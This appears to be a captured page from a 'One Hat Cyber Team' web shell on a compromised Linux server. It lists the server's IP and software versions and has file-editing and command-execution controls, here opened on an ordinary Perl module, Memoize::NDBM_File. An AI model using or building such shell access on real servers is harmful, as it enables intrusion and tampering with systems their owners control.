⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
perl
/
5.38.2
/
Memoize
/
Edit File: NDBM_File.pm
use strict; use warnings; package Memoize::NDBM_File; our $VERSION = '1.16'; use NDBM_File; our @ISA = qw(NDBM_File); # NDBM_File cannot store undef and will store an empty string if you try # but it does return undef if you try to read a non-existent key # so we can emulate exists() using defined() sub EXISTS { defined shift->FETCH(@_); } # Perl 5.37.3 adds this EXISTS emulation to NDBM_File itself delete $Memoize::NDBM_File::{'EXISTS'} if eval { NDBM_File->VERSION( '1.16' ) }; 1; __END__ =pod =head1 NAME Memoize::NDBM_File - glue to provide EXISTS for NDBM_File for Storable use =head1 DESCRIPTION This class provides L<EXISTS|perltie/C<EXISTS>> support for L<NDBM_File>. L<In Perl 5.37.3|https://github.com/Perl/perl5/commit/c0a1a377c02ed789f5eff667f46a2314a05c5a4c>, support for C<EXISTS> was added to L<NDBM_File> itself. Code which requires such a perl should simply use L<NBDM_File> directly. =cut
Simpan